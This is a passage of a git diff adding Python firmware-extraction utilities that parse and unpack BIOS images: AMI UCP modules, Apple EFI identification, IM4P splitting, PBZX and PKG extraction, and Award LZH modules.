uaf_data_raw = dec.read() # Read back the @UAF|@HPU Module decompressed Raw data + + os.remove(uaf_fname) # Successful decompression, delete compressed @UAF|@HPU Module file + + uaf_fname = dec_fname # Adjust @UAF|@HPU Module file path to the decompressed one + + # Process and Print known text only @UAF|@HPU Modules (after EFI/Tiano Decompression) + if uaf_tag in UAF_TAG_DICT and UAF_TAG_DICT[uaf_tag][2] == 'Text': + printer(f'{UAF_TAG_DICT[uaf_tag][1]}:', padding + 4) + printer(uaf_data_raw.decode('utf-8','ignore'), padding + 8) + + # Parse Default Command Status @UAF|@HPU Module (@DIS) + if len(uaf_data_raw) and uaf_tag == '@DIS': + dis_hdr = get_struct(uaf_data_raw, 0x0, DisHeader) # Parse @DIS Module Raw Header Structure + + printer('Default Command Status Header:\n', padding + 4) + + dis_hdr.struct_print(padding + 8) # Print @DIS Module Raw Header Info + + # Store/Save @DIS Module Header Info in file + with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: + with contextlib.redirect_stdout(dis): + dis_hdr.struct_print(0) # Store @DIS Module Header Info + + dis_data = uaf_data_raw[DIS_HDR_LEN:] # @DIS Module Entries Data + + # Parse all @DIS Module Entries + for mod_idx in range(dis_hdr.EntryCount): + dis_mod = get_struct(dis_data, mod_idx * DIS_MOD_LEN, DisModule) # Parse @DIS Module Raw Entry Structure + + printer(f'Default Command Status Entry {mod_idx + 1:02d}/{dis_hdr.EntryCount:02d}:\n', padding + 8) + + dis_mod.struct_print(padding + 12) # Print @DIS Module Raw Entry Info + + # Store/Save @DIS Module Entry Info in file + with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: + with contextlib.redirect_stdout(dis): + printer() + dis_mod.struct_print(4) # Store @DIS Module Entry Info + + os.remove(uaf_fname) # Delete @DIS Module binary, info exported as text + + # Parse Name List @UAF|@HPU Module (@NAL) + if len(uaf_data_raw) >= 5 and (uaf_tag,uaf_data_raw[0],uaf_data_raw[4]) == ('@NAL',0x40,0x3A): + nal_info = uaf_data_raw.decode('utf-8','ignore').replace('\r','').strip().split('\n') + + printer('AMI UCP Module Name List:\n', padding + 4) + + # Parse all @NAL Module Entries + for info in nal_info: + info_tag,info_value = info.split(':',1) + + printer(f'{info_tag} : {info_value}', padding + 8, False) # Print @NAL Module Tag-Path Info + + info_part = agnostic_path(info_value).parts # Split OS agnostic path in parts + info_path = to_string(info_part[1:-1], os.sep) # Get path without drive/root or file + info_name = info_part[-1] # Get file from last path part + + nal_dict[info_tag] = (info_path,info_name) # Assign a file path & name to each Tag + + # Parse Insyde BIOS @UAF|@HPU Module (@INS) + if uaf_tag == '@INS' and is_insyde_ifd(uaf_fname): + ins_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-IFD')) # Generate extraction directory + + if insyde_ifd_extract(uaf_fname, get_extract_path(ins_dir), padding + 4) == 0: + os.remove(uaf_fname) # Delete raw nested Insyde IFD image after successful extraction + + # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image + if is_ami_pfat(uaf_data_raw): + pfat_dir = os.path.join(extract_path, safe_name(uaf_name)) + + parse_pfat_file(uaf_data_raw, get_extract_path(pfat_dir), padding + 4) + + os.remove(uaf_fname) # Delete raw PFAT BIOS image after successful extraction + + # Detect Intel Engine firmware image and show ME Analyzer advice + if uaf_tag.startswith('@ME') and PAT_INTEL_ENG.search(uaf_data_raw): + printer('Intel Management Engine (ME) Firmware:\n', padding + 4) + printer('Use "ME Analyzer" from https://github.com/platomav/MEAnalyzer', padding + 8, False) + + # Parse Nested AMI UCP image + if is_ami_ucp(uaf_data_raw): + uaf_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-UCP')) # Generate extraction directory + + ucp_extract(uaf_data_raw, get_extract_path(uaf_dir), padding + 4, checksum) # Call recursively + + os.remove(uaf_fname) # Delete raw nested AMI UCP image after successful extraction + + return nal_dict + +# Get common ctypes Structure Sizes +UAF_HDR_LEN = ctypes.sizeof(UafHeader) +UAF_MOD_LEN = ctypes.sizeof(UafModule) +DIS_HDR_LEN = ctypes.sizeof(DisHeader) +DIS_MOD_LEN = ctypes.sizeof(DisModule) +UII_HDR_LEN = ctypes.sizeof(UiiHeader) + +# AMI UCP Tag Dictionary +UAF_TAG_DICT = { + '@3FI' : ['HpBiosUpdate32.efi', 'HpBiosUpdate32.efi', ''], + '@3S2' : ['HpBiosUpdate32.s12', 'HpBiosUpdate32.s12', ''], + '@3S4' : ['HpBiosUpdate32.s14', 'HpBiosUpdate32.s14', ''], + '@3S9' : ['HpBiosUpdate32.s09', 'HpBiosUpdate32.s09', ''], + '@3SG' : ['HpBiosUpdate32.sig', 'HpBiosUpdate32.sig', ''], + '@AMI' : ['UCP_Nested.bin', 'Nested AMI UCP', ''], + '@B12' : ['BiosMgmt.s12', 'BiosMgmt.s12', ''], + '@B14' : ['BiosMgmt.s14', 'BiosMgmt.s14', ''], + '@B32' : ['BiosMgmt32.s12', 'BiosMgmt32.s12', ''], + '@B34' : ['BiosMgmt32.s14', 'BiosMgmt32.s14', ''], + '@B39' : ['BiosMgmt32.s09', 'BiosMgmt32.s09', ''], + '@B3E' : ['BiosMgmt32.efi', 'BiosMgmt32.efi', ''], + '@BM9' : ['BiosMgmt.s09', 'BiosMgmt.s09', ''], + '@BME' : ['BiosMgmt.efi', 'BiosMgmt.efi', ''], + '@CKV' : ['Check_Version.txt', 'Check Version', 'Text'], + '@CMD' : ['AFU_Command.txt', 'AMI AFU Command', 'Text'], + '@CML' : ['CMOSD4.txt', 'CMOS Item Number-Value (MSI)', 'Text'], + '@CMS' : ['CMOSD4.exe', 'Get or Set CMOS Item (MSI)', ''], + '@CPM' : ['AC_Message.txt', 'Confirm Power Message', ''], + '@DCT' : ['DevCon32.exe', 'Device Console WIN32', ''], + '@DCX' : ['DevCon64.exe', 'Device Console WIN64', ''], + '@DFE' : ['HpDevFwUpdate.efi', 'HpDevFwUpdate.efi', ''], + '@DFS' : ['HpDevFwUpdate.s12', 'HpDevFwUpdate.s12', ''], + '@DIS' : ['Command_Status.bin', 'Default Command Status', ''], + '@ENB' : ['ENBG64.exe', 'ENBG64.exe', ''], + '@HPU' : ['UCP_Main.bin', 'Utility Auxiliary File (HP)', ''], + '@INS' : ['Insyde_Nested.bin', 'Nested Insyde SFX', ''], + '@M32' : ['HpBiosMgmt32.s12', 'HpBiosMgmt32.s12', ''], + '@M34' : ['HpBiosMgmt32.s14', 'HpBiosMgmt32.s14', ''], + '@M39' : ['HpBiosMgmt32.s09', 'HpBiosMgmt32.s09', ''], + '@M3I' : ['HpBiosMgmt32.efi', 'HpBiosMgmt32.efi', ''], + '@MEC' : ['FWUpdLcl.txt', 'Intel FWUpdLcl Command', 'Text'], + '@MED' : ['FWUpdLcl_DOS.exe', 'Intel FWUpdLcl DOS', ''], + '@MET' : ['FWUpdLcl_WIN32.exe', 'Intel FWUpdLcl WIN32', ''], + '@MFI' : ['HpBiosMgmt.efi', 'HpBiosMgmt.efi', ''], + '@MS2' : ['HpBiosMgmt.s12', 'HpBiosMgmt.s12', ''], + '@MS4' : ['HpBiosMgmt.s14', 'HpBiosMgmt.s14', ''], + '@MS9' : ['HpBiosMgmt.s09', 'HpBiosMgmt.s09', ''], + '@NAL' : ['UCP_List.txt', 'AMI UCP Module Name List', ''], + '@OKM' : ['OK_Message.txt', 'OK Message', ''], + '@PFC' : ['BGT_Command.txt', 'AMI BGT Command', 'Text'], + '@R3I' : ['CryptRSA32.efi', 'CryptRSA32.efi', ''], + '@RFI' : ['CryptRSA.efi', 'CryptRSA.efi', ''], + '@UAF' : ['UCP_Main.bin', 'Utility Auxiliary File (AMI)', ''], + '@UFI' : ['HpBiosUpdate.efi', 'HpBiosUpdate.efi', ''], + '@UII' : ['UCP_Info.txt', 'Utility Identification Information', ''], + '@US2' : ['HpBiosUpdate.s12', 'HpBiosUpdate.s12', ''], + '@US4' : ['HpBiosUpdate.s14', 'HpBiosUpdate.s14', ''], + '@US9' : ['HpBiosUpdate.s09', 'HpBiosUpdate.s09', ''], + '@USG' : ['HpBiosUpdate.sig', 'HpBiosUpdate.sig', ''], + '@VER' : ['OEM_Version.txt', 'OEM Version', 'Text'], + '@VXD' : ['amifldrv.vxd', 'amifldrv.vxd', ''], + '@W32' : ['amifldrv32.sys', 'amifldrv32.sys', ''], + '@W64' : ['amifldrv64.sys', 'amifldrv64.sys', ''], + } + +if __name__ == '__main__': + utility = BIOSUtility(TITLE, is_ami_ucp, ucp_extract) + utility.parse_argument('-c', '--checksum', help='verify AMI UCP Checksums (slow)', action='store_true') + utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_ID.py b/blobs/t480/biosutilities/Apple_EFI_ID.py new file mode 100644 index 000000000..1003b6766 --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_ID.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple EFI ID +Apple EFI Image Identifier +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI Image Identifier v2.0_a5' + +import os +import sys +import zlib +import struct +import ctypes +import subprocess + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.externals import get_uefifind_path, get_uefiextract_path +from common.path_ops import del_dirs, path_parent, path_suffixes +from common.patterns import PAT_APPLE_EFI +from common.struct_ops import char, get_struct, uint8_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class IntelBiosId(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Signature', char*8), # 0x00 + ('BoardID', uint8_t*16), # 0x08 + ('Dot1', uint8_t*2), # 0x18 + ('BoardExt', uint8_t*6), # 0x1A + ('Dot2', uint8_t*2), # 0x20 + ('VersionMajor', uint8_t*8), # 0x22 + ('Dot3', uint8_t*2), # 0x2A + ('BuildType', uint8_t*2), # 0x2C + ('VersionMinor', uint8_t*4), # 0x2E + ('Dot4', uint8_t*2), # 0x32 + ('Year', uint8_t*4), # 0x34 + ('Month', uint8_t*4), # 0x38 + ('Day', uint8_t*4), # 0x3C + ('Hour', uint8_t*4), # 0x40 + ('Minute', uint8_t*4), # 0x44 + ('NullTerminator', uint8_t*2), # 0x48 + # 0x4A + ] + + # https://github.com/tianocore/edk2-platforms/blob/master/Platform/Intel/BoardModulePkg/Include/Guid/BiosId.h + + @staticmethod + def decode(field): + return struct.pack('B' * len(field), *field).decode('utf-16','ignore').strip('\x00 ') + + def get_bios_id(self): + BoardID = self.decode(self.BoardID) + BoardExt = self.decode(self.BoardExt) + VersionMajor = self.decode(self.VersionMajor) + BuildType = self.decode(self.BuildType) + VersionMinor = self.decode(self.VersionMinor) + BuildDate = f'20{self.decode(self.Year)}-{self.decode(self.Month)}-{self.decode(self.Day)}' + BuildTime = f'{self.decode(self.Hour)}-{self.decode(self.Minute)}' + + return BoardID, BoardExt, VersionMajor, BuildType, VersionMinor, BuildDate, BuildTime + + def struct_print(self, p): + BoardID,BoardExt,VersionMajor,BuildType,VersionMinor,BuildDate,BuildTime = self.get_bios_id() + + printer(['Intel Signature:', self.Signature.decode('utf-8')], p, False) + printer(['Board Identity: ', BoardID], p, False) + printer(['Apple Identity: ', BoardExt], p, False) + printer(['Major Version: ', VersionMajor], p, False) + printer(['Minor Version: ', VersionMinor], p, False) + printer(['Build Type: ', BuildType], p, False) + printer(['Build Date: ', BuildDate], p, False) + printer(['Build Time: ', BuildTime.replace('-',':')], p, False) + +# Check if input is Apple EFI image +def is_apple_efi(input_file): + input_buffer = file_to_bytes(input_file) + + if PAT_APPLE_EFI.search(input_buffer): + return True + + if not os.path.isfile(input_file): + return False + + try: + _ = subprocess.run([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], + check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + return True + except Exception: + return False + +# Parse & Identify (or Rename) Apple EFI image +def apple_efi_identify(input_file, extract_path, padding=0, rename=False): + if not os.path.isfile(input_file): + printer('Error: Could not find input file path!', padding) + + return 1 + + input_buffer = file_to_bytes(input_file) + + bios_id_match = PAT_APPLE_EFI.search(input_buffer) # Detect $IBIOSI$ pattern + + if bios_id_match: + bios_id_res = f'0x{bios_id_match.start():X}' + + bios_id_hdr = get_struct(input_buffer, bios_id_match.start(), IntelBiosId) + else: + # The $IBIOSI$ pattern is within EFI compressed modules so we need to use UEFIFind and UEFIExtract + try: + bios_id_res = subprocess.check_output([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], + text=True)[:36] + + del_dirs(extract_path) # UEFIExtract must create its output folder itself, make sure it is not present + + _ = subprocess.run([get_uefiextract_path(), input_file, bios_id_res, '-o', extract_path, '-m', 'body'], + check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + with open(os.path.join(extract_path, 'body.bin'), 'rb') as raw_body: + body_buffer = raw_body.read() + + bios_id_match = PAT_APPLE_EFI.search(body_buffer) # Detect decompressed $IBIOSI$ pattern + + bios_id_hdr = get_struct(body_buffer, bios_id_match.start(), IntelBiosId) + + del_dirs(extract_path) # Successful UEFIExtract extraction, remove its output (temp) folder + except Exception: + printer('Error: Failed to parse compressed $IBIOSI$ pattern!', padding) + + return 2 + + printer(f'Detected $IBIOSI$ at {bios_id_res}\n', padding) + + bios_id_hdr.struct_print(padding + 4) + + if rename: + input_parent = path_parent(input_file) + + input_suffix = path_suffixes(input_file)[-1] + + input_adler32 = zlib.adler32(input_buffer) + + ID,Ext,Major,Type,Minor,Date,Time = bios_id_hdr.get_bios_id() + + output_name = f'{ID}_{Ext}_{Major}_{Type}{Minor}_{Date}_{Time}_{input_adler32:08X}{input_suffix}' + + output_file = os.path.join(input_parent, output_name) + + if not os.path.isfile(output_file): + os.replace(input_file, output_file) # Rename input file based on its EFI tag + + printer(f'Renamed to {output_name}', padding) + + return 0 + +PAT_UEFIFIND = f'244942494F534924{"."*32}2E00{"."*12}2E00{"."*16}2E00{"."*12}2E00{"."*40}0000' + +if __name__ == '__main__': + utility = BIOSUtility(TITLE, is_apple_efi, apple_efi_identify) + utility.parse_argument('-r', '--rename', help='rename EFI image based on its tag', action='store_true') + utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_IM4P.py b/blobs/t480/biosutilities/Apple_EFI_IM4P.py new file mode 100644 index 000000000..5dceefa31 --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_IM4P.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple EFI IM4P +Apple EFI IM4P Splitter +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI IM4P Splitter v3.0_a5' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.path_ops import make_dirs, path_stem +from common.patterns import PAT_APPLE_IM4P, PAT_INTEL_IFD +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is Apple EFI IM4P image +def is_apple_im4p(input_file): + input_buffer = file_to_bytes(input_file) + + is_im4p = PAT_APPLE_IM4P.search(input_buffer) + + is_ifd = PAT_INTEL_IFD.search(input_buffer) + + return bool(is_im4p and is_ifd) + +# Parse & Split Apple EFI IM4P image +def apple_im4p_split(input_file, extract_path, padding=0): + exit_codes = [] + + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + # Detect IM4P EFI pattern + im4p_match = PAT_APPLE_IM4P.search(input_buffer) + + # After IM4P mefi (0x15), multi EFI payloads have _MEFIBIN (0x100) but is difficult to RE w/o varying samples. + # However, _MEFIBIN is not required for splitting SPI images due to Intel Flash Descriptor Components Density. + + # IM4P mefi payload start offset + mefi_data_bgn = im4p_match.start() + input_buffer[im4p_match.start() - 0x1] + + # IM4P mefi payload size + mefi_data_len = int.from_bytes(input_buffer[im4p_match.end() + 0x5:im4p_match.end() + 0x9], 'big') + + # Check if mefi is followed by _MEFIBIN + mefibin_exist = input_buffer[mefi_data_bgn:mefi_data_bgn + 0x8] == b'_MEFIBIN' + + # Actual multi EFI payloads start after _MEFIBIN + efi_data_bgn = mefi_data_bgn + 0x100 if mefibin_exist else mefi_data_bgn + + # Actual multi EFI payloads size without _MEFIBIN + efi_data_len = mefi_data_len - 0x100 if mefibin_exist else mefi_data_len + + # Adjust input file buffer to actual multi EFI payloads data + input_buffer = input_buffer[efi_data_bgn:efi_data_bgn + efi_data_len] + + # Parse Intel Flash Descriptor pattern matches + for ifd in PAT_INTEL_IFD.finditer(input_buffer): + # Component Base Address from FD start (ICH8-ICH10 = 1, IBX = 2, CPT+ = 3) + ifd_flmap0_fcba = input_buffer[ifd.start() + 0x4] * 0x10 + + # I/O Controller Hub (ICH) + if ifd_flmap0_fcba == 0x10: + # At ICH, Flash Descriptor starts at 0x0 + ifd_bgn_substruct = 0x0 + + # 0xBC for [0xAC] + 0xFF * 16 sanity check + ifd_end_substruct = 0xBC + + # Platform Controller Hub (PCH) + else: + # At PCH, Flash Descriptor starts at 0x10 + ifd_bgn_substruct = 0x10 + + # 0xBC for [0xAC] + 0xFF * 16 sanity check + ifd_end_substruct = 0xBC + + # Actual Flash Descriptor Start Offset + ifd_match_start = ifd.start() - ifd_bgn_substruct + + # Actual Flash Descriptor End Offset + ifd_match_end = ifd.end() - ifd_end_substruct + + # Calculate Intel Flash Descriptor Flash Component Total Size + + # Component Count (00 = 1, 01 = 2) + ifd_flmap0_nc = ((int.from_bytes(input_buffer[ifd_match_end:ifd_match_end + 0x4], 'little') >> 8) & 3) + 1 + + # PCH/ICH Strap Length (ME 2-8 & TXE 0-2 & SPS 1-2 <= 0x12, ME 9+ & TXE 3+ & SPS 3+ >= 0x13) + ifd_flmap1_isl = input_buffer[ifd_match_end + 0x7] + + # Component Density Byte (ME 2-8 & TXE 0-2 & SPS 1-2 = 0:5, ME 9+ & TXE 3+ & SPS 3+ = 0:7) + ifd_comp_den = input_buffer[ifd_match_start + ifd_flmap0_fcba] + + # Component 1 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) + ifd_comp_1_bitwise = 0xF if ifd_flmap1_isl >= 0x13 else 0x7 + + # Component 2 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) + ifd_comp_2_bitwise = 0x4 if ifd_flmap1_isl >= 0x13 else 0x3 + + # Component 1 Density (FCBA > C0DEN) + ifd_comp_all_size = IFD_COMP_LEN[ifd_comp_den & ifd_comp_1_bitwise] + + # Component 2 Density (FCBA > C1DEN) + if ifd_flmap0_nc == 2: + ifd_comp_all_size += IFD_COMP_LEN[ifd_comp_den >> ifd_comp_2_bitwise] + + ifd_data_bgn = ifd_match_start + ifd_data_end = ifd_data_bgn + ifd_comp_all_size + ifd_data_txt = f'0x{ifd_data_bgn:07X}-0x{ifd_data_end:07X}' + + output_data = input_buffer[ifd_data_bgn:ifd_data_end] + + output_size = len(output_data) + + output_name = path_stem(input_file) if os.path.isfile(input_file) else 'Part' + + output_path = os.path.join(extract_path, f'{output_name}_[{ifd_data_txt}].fd') + + with open(output_path, 'wb') as output_image: + output_image.write(output_data) + + printer(f'Split Apple EFI image at {ifd_data_txt}!', padding) + + if output_size != ifd_comp_all_size: + printer(f'Error: Bad image size 0x{output_size:07X}, expected 0x{ifd_comp_all_size:07X}!', padding + 4) + + exit_codes.append(1) + + return sum(exit_codes) + +# Intel Flash Descriptor Component Sizes (4MB, 8MB, 16MB and 32MB) +IFD_COMP_LEN = {3: 0x400000, 4: 0x800000, 5: 0x1000000, 6: 0x2000000} + +if __name__ == '__main__': + BIOSUtility(TITLE, is_apple_im4p, apple_im4p_split).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PBZX.py b/blobs/t480/biosutilities/Apple_EFI_PBZX.py new file mode 100644 index 000000000..8e4f55364 --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_PBZX.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple PBZX Extract +Apple EFI PBZX Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI PBZX Extractor v1.0_a5' + +import os +import sys +import lzma +import ctypes + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import make_dirs, path_stem +from common.patterns import PAT_APPLE_PBZX +from common.struct_ops import get_struct, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class PbzxChunk(ctypes.BigEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Reserved0', uint32_t), # 0x00 + ('InitSize', uint32_t), # 0x04 + ('Reserved1', uint32_t), # 0x08 + ('CompSize', uint32_t), # 0x0C + # 0x10 + ] + + def struct_print(self, p): + printer(['Reserved 0 :', f'0x{self.Reserved0:X}'], p, False) + printer(['Initial Size :', f'0x{self.InitSize:X}'], p, False) + printer(['Reserved 1 :', f'0x{self.Reserved1:X}'], p, False) + printer(['Compressed Size:', f'0x{self.CompSize:X}'], p, False) + +# Check if input is Apple PBZX image +def is_apple_pbzx(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_APPLE_PBZX.search(input_buffer[:0x4])) + +# Parse & Extract Apple PBZX image +def apple_pbzx_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + cpio_bin = b'' # Initialize PBZX > CPIO Buffer + cpio_len = 0x0 # Initialize PBZX > CPIO Length + + chunk_off = 0xC # First PBZX Chunk starts at 0xC + while chunk_off < len(input_buffer): + chunk_hdr = get_struct(input_buffer, chunk_off, PbzxChunk) + + printer(f'PBZX Chunk at 0x{chunk_off:08X}\n', padding) + + chunk_hdr.struct_print(padding + 4) + + # PBZX Chunk data starts after its Header + comp_bgn = chunk_off + PBZX_CHUNK_HDR_LEN + + # To avoid a potential infinite loop, double-check Compressed Size + comp_end = comp_bgn + max(chunk_hdr.CompSize, PBZX_CHUNK_HDR_LEN) + + comp_bin = input_buffer[comp_bgn:comp_end] + + try: + # Attempt XZ decompression, if applicable to Chunk data + cpio_bin += lzma.LZMADecompressor().decompress(comp_bin) + + printer('Successful LZMA decompression!', padding + 8) + except Exception: + # Otherwise, Chunk data is not compressed + cpio_bin += comp_bin + + # Final CPIO size should match the sum of all Chunks > Initial Size + cpio_len += chunk_hdr.InitSize + + # Next Chunk starts at the end of current Chunk's data + chunk_off = comp_end + + # Check that CPIO size is valid based on all Chunks > Initial Size + if cpio_len != len(cpio_bin): + printer('Error: Unexpected CPIO archive size!', padding) + + return 1 + + cpio_name = path_stem(input_file) if os.path.isfile(input_file) else 'Payload' + + cpio_path = os.path.join(extract_path, f'{cpio_name}.cpio') + + with open(cpio_path, 'wb') as cpio_object: + cpio_object.write(cpio_bin) + + # Decompress PBZX > CPIO archive with 7-Zip + if is_szip_supported(cpio_path, padding, args=['-tCPIO'], check=True): + if szip_decompress(cpio_path, extract_path, 'CPIO', padding, args=['-tCPIO'], check=True) == 0: + os.remove(cpio_path) # Successful extraction, delete PBZX > CPIO archive + else: + return 3 + else: + return 2 + + return 0 + +# Get common ctypes Structure Sizes +PBZX_CHUNK_HDR_LEN = ctypes.sizeof(PbzxChunk) + +if __name__ == '__main__': + BIOSUtility(TITLE, is_apple_pbzx, apple_pbzx_extract).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PKG.py b/blobs/t480/biosutilities/Apple_EFI_PKG.py new file mode 100644 index 000000000..a185547db --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_PKG.py @@ -0,0 +1,148 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple EFI PKG +Apple EFI Package Extractor +Copyright (C) 2019-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI Package Extractor v2.0_a5' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import copy_file, del_dirs, get_path_files, make_dirs, path_name, path_parent, get_extract_path +from common.patterns import PAT_APPLE_PKG +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +from Apple_EFI_ID import apple_efi_identify, is_apple_efi +from Apple_EFI_IM4P import apple_im4p_split, is_apple_im4p +from Apple_EFI_PBZX import apple_pbzx_extract, is_apple_pbzx + +# Check if input is Apple EFI PKG package +def is_apple_pkg(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_APPLE_PKG.search(input_buffer[:0x4])) + +# Split Apple EFI image (if applicable) and Rename +def efi_split_rename(in_file, out_path, padding=0): + exit_codes = [] + + working_dir = get_extract_path(in_file) + + if is_apple_im4p(in_file): + printer(f'Splitting IM4P via {is_apple_im4p.__module__}...', padding) + im4p_exit = apple_im4p_split(in_file, working_dir, padding + 4) + exit_codes.append(im4p_exit) + else: + make_dirs(working_dir, delete=True) + copy_file(in_file, working_dir, True) + + for efi_file in get_path_files(working_dir): + if is_apple_efi(efi_file): + printer(f'Renaming EFI via {is_apple_efi.__module__}...', padding) + name_exit = apple_efi_identify(efi_file, efi_file, padding + 4, True) + exit_codes.append(name_exit) + + for named_file in get_path_files(working_dir): + copy_file(named_file, out_path, True) + + del_dirs(working_dir) + + return sum(exit_codes) + +# Parse & Extract Apple EFI PKG packages +def apple_pkg_extract(input_file, extract_path, padding=0): + if not os.path.isfile(input_file): + printer('Error: Could not find input file path!', padding) + return 1 + + make_dirs(extract_path, delete=True) + + xar_path = os.path.join(extract_path, 'xar') + + # Decompress PKG > XAR archive with 7-Zip + if is_szip_supported(input_file, padding, args=['-tXAR'], check=True): + if szip_decompress(input_file, xar_path, 'XAR', padding, args=['-tXAR'], check=True) != 0: + return 3 + else: + return 2 + + for xar_file in get_path_files(xar_path): + if path_name(xar_file) == 'Payload': + pbzx_module = is_apple_pbzx.__module__ + if is_apple_pbzx(xar_file): + printer(f'Extracting PBZX via {pbzx_module}...', padding + 4) + pbzx_path = get_extract_path(xar_file) + if apple_pbzx_extract(xar_file, pbzx_path, padding + 8) == 0: + printer(f'Succesfull PBZX extraction via {pbzx_module}!', padding + 4) + for pbzx_file in get_path_files(pbzx_path): + if path_name(pbzx_file) == 'UpdateBundle.zip': + if is_szip_supported(pbzx_file, padding + 8, args=['-tZIP'], check=True): + zip_path = get_extract_path(pbzx_file) + if szip_decompress(pbzx_file, zip_path, 'ZIP', padding + 8, args=['-tZIP'], check=True) == 0: + for zip_file in get_path_files(zip_path): + if path_name(path_parent(zip_file)) == 'MacEFI': + printer(path_name(zip_file), padding + 12) + if efi_split_rename(zip_file, extract_path, padding + 16) != 0: + printer(f'Error: Could not split and rename {path_name(zip_file)}!', padding) + return 10 + else: + return 9 + else: + return 8 + break # ZIP found, stop + else: + printer('Error: Could not find "UpdateBundle.zip" file!', padding) + return 7 + else: + printer(f'Error: Failed to extract PBZX file via {pbzx_module}!', padding) + return 6 + else: + printer(f'Error: Failed to detect file as PBZX via {pbzx_module}!', padding) + return 5 + + break # Payload found, stop searching + + if path_name(xar_file) == 'Scripts': + if is_szip_supported(xar_file, padding + 4, args=['-tGZIP'], check=True): + gzip_path = get_extract_path(xar_file) + if szip_decompress(xar_file, gzip_path, 'GZIP', padding + 4, args=['-tGZIP'], check=True) == 0: + for gzip_file in get_path_files(gzip_path): + if is_szip_supported(gzip_file, padding + 8, args=['-tCPIO'], check=True): + cpio_path = get_extract_path(gzip_file) + if szip_decompress(gzip_file, cpio_path, 'CPIO', padding + 8, args=['-tCPIO'], check=True) == 0: + for cpio_file in get_path_files(cpio_path): + if path_name(path_parent(cpio_file)) == 'EFIPayloads': + printer(path_name(cpio_file), padding + 12) + if efi_split_rename(cpio_file, extract_path, padding + 16) != 0: + printer(f'Error: Could not split and rename {path_name(cpio_file)}!', padding) + return 15 + else: + return 14 + else: + return 13 + else: + return 12 + else: + return 11 + + break # Scripts found, stop searching + else: + printer('Error: Could not find "Payload" or "Scripts" file!', padding) + return 4 + + del_dirs(xar_path) # Delete temporary/working XAR folder + + return 0 + +if __name__ == '__main__': + BIOSUtility(TITLE, is_apple_pkg, apple_pkg_extract).run_utility() diff --git a/blobs/t480/biosutilities/Award_BIOS_Extract.py b/blobs/t480/biosutilities/Award_BIOS_Extract.py new file mode 100644 index 000000000..12d1e9698 --- /dev/null +++ b/blobs/t480/biosutilities/Award_BIOS_Extract.py @@ -0,0 +1,74 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Award BIOS Extract +Award BIOS Module Extractor +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Award BIOS Module Extractor v2.0_a5' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import szip_decompress +from common.path_ops import make_dirs, safe_name, get_extract_path +from common.patterns import PAT_AWARD_LZH +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is Award BIOS image +def is_award_bios(in_file): + in_buffer = file_to_bytes(in_file) + + return bool(PAT_AWARD_LZH.search(in_buffer)) + +# Parse & Extract Award BIOS image +def award_bios_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + for lzh_match in PAT_AWARD_LZH.finditer(input_buffer): + lzh_type = lzh_match.group(0).decode('utf-8') + lzh_text = f'LZH-{lzh_type.strip("-").upper()}' + + lzh_bgn = lzh_match.start() + + mod_bgn = lzh_bgn - 0x2 + hdr_len = input_buffer[mod_bgn] + mod_len = int.from_bytes(input_buffer[mod_bgn + 0x7:mod_bgn + 0xB], 'little') + mod_end = lzh_bgn + hdr_len + mod_len + mod_bin = input_buffer[mod_bgn:mod_end] 